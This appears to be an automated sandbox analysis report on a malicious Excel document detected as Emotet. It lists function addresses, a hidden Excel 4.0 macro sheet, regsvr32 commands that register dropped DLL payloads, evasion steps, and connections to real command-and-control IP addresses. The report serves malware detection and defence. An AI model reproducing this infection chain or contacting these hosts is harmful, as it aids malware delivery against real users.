Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000FCD0 6_2_000000018000FCD0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180003ED4 6_2_0000000180003ED4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180003CE4 6_2_0000000180003CE4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800248E8 6_2_00000001800248E8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800012EC 6_2_00000001800012EC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800138F0 6_2_00000001800138F0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800252F4 6_2_00000001800252F4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180023EFC 6_2_0000000180023EFC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180013D14 6_2_0000000180013D14
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180004118 6_2_0000000180004118
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180012120 6_2_0000000180012120
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001F121 6_2_000000018001F121
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180011D30 6_2_0000000180011D30
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180006538 6_2_0000000180006538
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002413C 6_2_000000018002413C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001973C 6_2_000000018001973C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180002940 6_2_0000000180002940
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001D544 6_2_000000018001D544
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002034C 6_2_000000018002034C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180020B50 6_2_0000000180020B50
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180023B54 6_2_0000000180023B54
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002275C 6_2_000000018002275C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018002556C 6_2_000000018002556C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001E970 6_2_000000018001E970
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180001D74 6_2_0000000180001D74
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000E778 6_2_000000018000E778
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180018B80 6_2_0000000180018B80
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180001F84 6_2_0000000180001F84
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180013F88 6_2_0000000180013F88
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001018C 6_2_000000018001018C
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001FD90 6_2_000000018001FD90
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180015F90 6_2_0000000180015F90
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000D990 6_2_000000018000D990
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000EF94 6_2_000000018000EF94
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180022BA0 6_2_0000000180022BA0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800031A8 6_2_00000001800031A8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180020DB0 6_2_0000000180020DB0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001B3B0 6_2_000000018001B3B0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180017BB0 6_2_0000000180017BB0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001C5B4 6_2_000000018001C5B4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800123C4 6_2_00000001800123C4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000BFC8 6_2_000000018000BFC8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800151CC 6_2_00000001800151CC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800195D0 6_2_00000001800195D0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800259D8 6_2_00000001800259D8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018001BDD8 6_2_000000018001BDD8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800049D8 6_2_00000001800049D8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000C3D8 6_2_000000018000C3D8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000F1D8 6_2_000000018000F1D8
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800213DC 6_2_00000001800213DC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800045DC 6_2_00000001800045DC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800089DC 6_2_00000001800089DC
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00000001800079E0 6_2_00000001800079E0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00120000 7_2_00120000
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180005610 7_2_0000000180005610
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180027418 7_2_0000000180027418
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180020050 7_2_0000000180020050
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180018074 7_2_0000000180018074
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180017088 7_2_0000000180017088
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180007E9C 7_2_0000000180007E9C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800212A0 7_2_00000001800212A0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180022D14 7_2_0000000180022D14
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180002940 7_2_0000000180002940
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180023B54 7_2_0000000180023B54
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180020760 7_2_0000000180020760
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180015F90 7_2_0000000180015F90
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000ADA0 7_2_000000018000ADA0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001C5B4 7_2_000000018001C5B4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800123C4 7_2_00000001800123C4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800151CC 7_2_00000001800151CC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000C3D8 7_2_000000018000C3D8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800073E8 7_2_00000001800073E8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800105EC 7_2_00000001800105EC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800023EC 7_2_00000001800023EC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000EFEC 7_2_000000018000EFEC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001F1F0 7_2_000000018001F1F0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180023FF4 7_2_0000000180023FF4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180022FF4 7_2_0000000180022FF4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001EFF4 7_2_000000018001EFF4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800021F4 7_2_00000001800021F4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180005BFC 7_2_0000000180005BFC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001EC00 7_2_000000018001EC00
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180001A00 7_2_0000000180001A00
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180001000 7_2_0000000180001000
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180026C08 7_2_0000000180026C08
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180010C08 7_2_0000000180010C08
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180025E0C 7_2_0000000180025E0C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180014C0C 7_2_0000000180014C0C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180019414 7_2_0000000180019414
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000BA14 7_2_000000018000BA14
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180024618 7_2_0000000180024618
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001421C 7_2_000000018001421C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000381C 7_2_000000018000381C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000F630 7_2_000000018000F630
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001DA38 7_2_000000018001DA38
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001363C 7_2_000000018001363C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180024C44 7_2_0000000180024C44
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180023448 7_2_0000000180023448
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180009248 7_2_0000000180009248
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001984C 7_2_000000018001984C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180026450 7_2_0000000180026450
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180012250 7_2_0000000180012250
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180017E50 7_2_0000000180017E50
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180008858 7_2_0000000180008858
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180026860 7_2_0000000180026860
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018002666C 7_2_000000018002666C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180013470 7_2_0000000180013470
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001E070 7_2_000000018001E070
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180011270 7_2_0000000180011270
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180008470 7_2_0000000180008470
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000E474 7_2_000000018000E474
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001D678 7_2_000000018001D678
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180021C80 7_2_0000000180021C80
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180005080 7_2_0000000180005080
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180006A80 7_2_0000000180006A80
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000B880 7_2_000000018000B880
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000E880 7_2_000000018000E880
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180022284 7_2_0000000180022284
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180009488 7_2_0000000180009488
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000D288 7_2_000000018000D288
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180020C8C 7_2_0000000180020C8C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000CA8C 7_2_000000018000CA8C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000D490 7_2_000000018000D490
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001A094 7_2_000000018001A094
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000EC98 7_2_000000018000EC98
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800256A0 7_2_00000001800256A0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800048A0 7_2_00000001800048A0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000D6A4 7_2_000000018000D6A4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800224A8 7_2_00000001800224A8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180001EAC 7_2_0000000180001EAC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180002EB0 7_2_0000000180002EB0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001EABC 7_2_000000018001EABC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180016EC0 7_2_0000000180016EC0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000CEC0 7_2_000000018000CEC0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001A4D0 7_2_000000018001A4D0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000FCD0 7_2_000000018000FCD0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180003ED4 7_2_0000000180003ED4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180003CE4 7_2_0000000180003CE4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800248E8 7_2_00000001800248E8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800012EC 7_2_00000001800012EC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800138F0 7_2_00000001800138F0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800252F4 7_2_00000001800252F4
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180023EFC 7_2_0000000180023EFC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180013D14 7_2_0000000180013D14
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180004118 7_2_0000000180004118
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180012120 7_2_0000000180012120
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001F121 7_2_000000018001F121
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180010D28 7_2_0000000180010D28
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180011D30 7_2_0000000180011D30
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180006538 7_2_0000000180006538
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018002413C 7_2_000000018002413C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001973C 7_2_000000018001973C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001D544 7_2_000000018001D544
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018002034C 7_2_000000018002034C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180020B50 7_2_0000000180020B50
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018002275C 7_2_000000018002275C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018002556C 7_2_000000018002556C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001E970 7_2_000000018001E970
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180001D74 7_2_0000000180001D74
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000E778 7_2_000000018000E778
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180018B80 7_2_0000000180018B80
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180001F84 7_2_0000000180001F84
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180013F88 7_2_0000000180013F88
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001018C 7_2_000000018001018C
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001FD90 7_2_000000018001FD90
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000D990 7_2_000000018000D990
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000EF94 7_2_000000018000EF94
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180022BA0 7_2_0000000180022BA0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800031A8 7_2_00000001800031A8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180020DB0 7_2_0000000180020DB0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001B3B0 7_2_000000018001B3B0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_0000000180017BB0 7_2_0000000180017BB0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000BFC8 7_2_000000018000BFC8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800195D0 7_2_00000001800195D0
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800259D8 7_2_00000001800259D8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018001BDD8 7_2_000000018001BDD8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800049D8 7_2_00000001800049D8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000F1D8 7_2_000000018000F1D8
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800213DC 7_2_00000001800213DC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800045DC 7_2_00000001800045DC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800089DC 7_2_00000001800089DC
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_00000001800079E0 7_2_00000001800079E0
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: 242.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Found a hidden Excel 4.0 Macro sheet
Source: documentazione 68668.xls Macro extractor: Sheet name: PKEKPPGEKKPGE
Source: documentazione 68668.xls Macro extractor: Sheet name: PKEKPPGEKKPGE
PE file contains more sections than normal
Source: wdusx2.ocx.0.dr Static PE information: Number of sections : 12 > 10
Source: UVvnppK[1].dll.0.dr Static PE information: Number of sections : 12 > 10
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UVvnppK[1].dll 1EC9DC22A44EB1BD30B4C56B12CCAE1CFCB67F9ABA8F3A8E4A3DE562D237371E
Source: Joe Sandbox View Dropped File: C:\Users\user\wdusx2.ocx 1EC9DC22A44EB1BD30B4C56B12CCAE1CFCB67F9ABA8F3A8E4A3DE562D237371E
Source: Joe Sandbox View Dropped File: C:\Windows\System32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll (copy) 1EC9DC22A44EB1BD30B4C56B12CCAE1CFCB67F9ABA8F3A8E4A3DE562D237371E
Source: documentazione 68668.xls Virustotal: Detection: 55%
Source: documentazione 68668.xls Metadefender: Detection: 37%
Source: documentazione 68668.xls ReversingLabs: Detection: 73%
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\wdusx1.ocx
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\wdusx2.ocx
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\wdusx3.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\wdusx1.ocx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\wdusx2.ocx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\wdusx3.ocx Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll" Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\wdusx2.ocx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR5E64.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@10/13@3/45
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: documentazione 68668.xls OLE indicator, Workbook stream: true
Source: documentazione 68668.xls.0.dr OLE indicator, Workbook stream: true
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180020760 Process32NextW,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle, 6_2_0000000180020760
Source: C:\Windows\System32\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: documentazione 68668.xls Initial sample: OLE indicators vbamacros = False
PE file contains sections with non-standard names
Source: UVvnppK[1].dll.0.dr Static PE information: section name: .xdata
Source: wdusx2.ocx.0.dr Static PE information: section name: .xdata
PE file contains an invalid checksum
Source: wdusx2.ocx.0.dr Static PE information: real checksum: 0xab9d6 should be: 0xad231
Source: UVvnppK[1].dll.0.dr Static PE information: real checksum: 0xab9d6 should be: 0xad231
Registers a DLL
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll"
Drops PE files
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UVvnppK[1].dll Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\wdusx2.ocx Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll (copy) Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll (copy) Jump to dropped file
Drops PE files to the user directory
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\wdusx2.ocx Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\wdusx2.ocx Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\System32\regsvr32.exe File opened: C:\Windows\system32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\regsvr32.exe TID: 2188 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2924 Thread sleep time: -120000s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UVvnppK[1].dll Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000C3D8 FindNextFileW,FindFirstFileW, 7_2_000000018000C3D8
Source: C:\Windows\System32\regsvr32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_61A020C0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort, 6_2_61A020C0
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_61A0A268 SetUnhandledExceptionFilter,Sleep, 6_2_61A0A268
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_61A0A268 SetUnhandledExceptionFilter,Sleep, 6_2_61A0A268

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\regsvr32.exe Network Connect: 165.22.254.68 443 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Network Connect: 198.199.70.22 8080 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\regsvr32.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_61A01FF0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 6_2_61A01FF0

Stealing of Sensitive Information
barindex
Source: Yara match File source: 00000007.00000002.1196956196.00000000003AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Yara detected Emotet
Source: Yara match File source: 7.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.926408860.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
